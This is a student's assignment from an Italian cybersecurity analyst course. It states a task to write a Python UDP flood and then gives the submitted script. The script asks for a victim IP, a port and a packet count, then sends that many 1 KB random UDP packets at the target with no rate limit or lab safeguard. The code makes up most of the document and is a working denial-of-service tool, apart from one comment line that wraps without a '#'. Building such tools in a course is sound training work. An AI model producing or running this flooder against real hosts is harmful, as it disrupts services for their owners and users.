

W7D4 – Pratica - DDOS

DATA

Cybersecurity Analyst

Studente:

Andrea Scarmagnani

Docente:

Giuseppe Placanica

Traccia:

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target input
- Il programma deve richiedere l'inserimento della porta target input
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto
- Suggerimento: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare input

```
import socket    #Importo il la libreria Socket
import random    #Importo la libreria random

#Chiedo all'utente quale indirizzo attaccare;
IP = str(input("Inserisci l'indirizzo ip della vittima: "))

#Chiedo all'utente la porta da utilizzare;
PORTA = int(input("Inserisci la porta della vittima: "))

#Chiedo all'utente quanti pacchetti inviare;
QT_PACCHETTI = int(input("Inserisci il numero di pacchetti: "))
#in questa variabile conteggio quanti pacchetti ho inviato
Contatore = 0
#Stampa a schermo quello che l'utente ha scritto;
print(f"Indirizzo attaccato: {IP},\nPorta attaccata: {PORTA},\nInvio Pacchetti: {QT_PACCHETTI}")

#Creo oggetto di tipo socket, nuova connessione socket AF_INET(specifico per ip4),
SOCK_DGRAM(specifico per UDP)
c = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

#Connetti il socket alla macchina specifica
c.connect((IP,PORTA))
#Stampo a video la connessione è riuscita....
print("Connessione stabilita")
#Il ciclo for esegue le istruzioni n volte pari al numero inserito dall'utente
for i in range(0, QT_PACCHETTI):
    #Genero in modo randomico il pacchetto da 1kb
    PACCHETTO = random._urandom(1024)

    #Aumento il contatore per il numero di pacchetti
    Contatore += 1

    #Invio il pacchetto generato in modo randomico
    c.sendall(PACCHETTO)

    #Stampo a video il risultato dell'invio
    print("Contatore: ", Contatore, "Tipo: ", type(PACCHETTO), "\n")
```

Cybersecurity Analyst 2023